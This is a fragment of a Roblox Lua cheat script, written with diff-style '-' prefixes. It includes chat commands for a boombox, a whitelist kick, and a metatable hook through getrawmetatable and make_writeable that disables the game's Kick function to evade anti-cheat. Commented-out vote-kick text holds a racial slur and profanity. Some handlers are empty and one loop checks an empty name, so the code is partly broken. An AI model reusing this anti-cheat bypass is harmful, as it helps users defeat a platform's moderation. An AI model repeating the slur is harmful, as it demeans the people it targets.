- repeat heart:wait() until boombox.Handle.Sound.IsLoaded
- storage.server = boombox.Server
- storage.server.Parent = nil
- boombox.Parent = player.Backpack
- playing = true
- end
- end
- end},
- ['stop'] = {0, function()
- if playing then
- playing = false
- local boombox = player.Character:FindFirstChild('BoomBox') or player.Backpack:FindFirstChild('BoomBox')
- boombox:Destroy()
- end
- end}
- }
- local function run(plyr)
- plyr.Chatted:connect(function(msg)
- if msg:sub(1, 1) == '!' then
- local msg = msg:sub(2, #msg)
- for cmd, tab in pairs(commands) do
- if msg:sub(1, #cmd) == cmd then
- local argument = msg:sub(#cmd + 2, #msg)
- print(argument)
- if tab[1] == 0 then
- if plyr == player then
- tab[2](argument)
- end
- elseif tab[1] == 1 then
- tab[2](argument)
- end
- end
- end
- end
- end)
- end
- run(player)
- local userinput = game:GetService("UserInputService")
- userinput.InputBegan:connect(function(input)
- if userinput:GetFocusedTextBox() then
- return
- end
- if input.KeyCode == Enum.KeyCode.R then
- end
- end)
- local userinput = game:GetService("UserInputService")
- userinput.InputBegan:connect(function(input)
- if userinput:GetFocusedTextBox() then
- return
- end
- if input.KeyCode == Enum.KeyCode.Q then
- end
- end)
- else
- game.Players.LocalPlayer:Kick("Error: User Not Whitelisted")
- while true do
- print("Not Whitelisted")
- warn("Not Whitelisted")
- end
- end
- local mt = getrawmetatable(game)
- local oldmt = mt.__index
- make_writeable(mt)
- mt.__index = function(t,i)
- if i == "Kick" then
- return nil
- end
- return oldmt(t,i)
- end
- --game.Players.LocalPlayer.PlayerGui.VoteKick.Vote.Yes.Text = "Cyka"
- --game.Players.LocalPlayer.PlayerGui.VoteKick.Vote.No.Text = "Blyat"
- --game.Players.LocalPlayer.PlayerGui.VoteKick.Open.Text = "Kick This Nigga"
- while true do
- wait(0.33)
- EIyStrng = ""
- if game.Players.LocalPlayer:IsFriendsWith(EIyStrng) then
- wait(0.002)
- else
- print("hi")
- end
- end
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